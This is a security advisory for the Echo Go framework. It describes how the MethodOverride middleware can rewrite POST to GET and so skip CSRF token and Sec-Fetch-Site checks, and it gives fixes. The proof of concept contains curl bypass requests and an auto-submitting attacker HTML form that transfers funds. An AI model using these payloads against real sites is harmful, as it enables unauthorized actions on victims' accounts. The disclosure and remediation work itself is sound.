Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method

Summary

The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.

Affected Component

• middleware/method_override.go — MethodOverrideConfig.ToMiddleware() (lines 55–71): no whitelist on the override target method
• middleware/csrf.go — CSRFConfig.ToMiddleware() (lines 188–189): safe-method bypass branch reads the already-rewritten method
• middleware/csrf.go — checkSecFetchSiteRequest() (line 283): Sec-Fetch-Site safe check also reads the rewritten method

Description

MethodOverride accepts safe methods as override targets

MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:

// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" {
        req.Method = m   // ← any non-empty string accepted, including "GET"
    }
}

The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.

CSRF safe-method branch reads the already-rewritten method

CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:

// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
    // skip validation — no token check
default:
    // validate CSRF token

If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.

The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:

// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)

With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.

Execution chain

In echo.go:700, routing and middleware wrapping are performed in one step:

h = applyMiddleware(e.router.Route(c), e.middleware...)

1. e.router.Route(c) evaluates with req.Method = "POST" → matches and binds the POST /transfer handler
2. applyMiddleware wraps it: MethodOverride → CSRF → postHandler

At request execution time: 3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next 4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next 5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)

The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.

The missing target-method whitelist is the root cause

The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.

Proof of Concept

package main

import (
    "net/http"
    echo "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    // MethodOverride before CSRF — both in e.Use() (post-routing)
    e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
        Getter: middleware.MethodFromForm("_method"),
    }))
    e.Use(middleware.CSRF())
    e.POST("/transfer", func(c *echo.Context) error {
        return c.String(http.StatusOK, "transfer executed")
    })
    e.Logger.Fatal(e.Start(":18080"))
}

# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)

# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed

# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
#   <input name="_method" value="GET">
#   <input name="amount" value="1000">
#   <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>

The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).

Impact

• Any state-changing endpoint protected by CSRF() is reachable without a valid CSRF token when the vulnerable middleware ordering is present
• The Sec-Fetch-Site modern-browser CSRF protection is bypassed simultaneously — browsers that support Sec-Fetch-Site provide no additional defense
• Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
• Audit logs may record GET as the HTTP method for what were actually state-changing operations

Recommended Remediation

Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)

The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:

// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
    http.MethodPut:    true,
    http.MethodPatch:  true,
    http.MethodDelete: true,
}

// in ToMiddleware:
if req.Method == http.MethodPost {
    m := config.Getter(c)
    if m != "" && allowedOverrideMethods[m] {
        req.Method = m
    }
}

Option 2: Use e.Pre() for MethodOverride and document the ordering requirement

Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:

// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {

Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.

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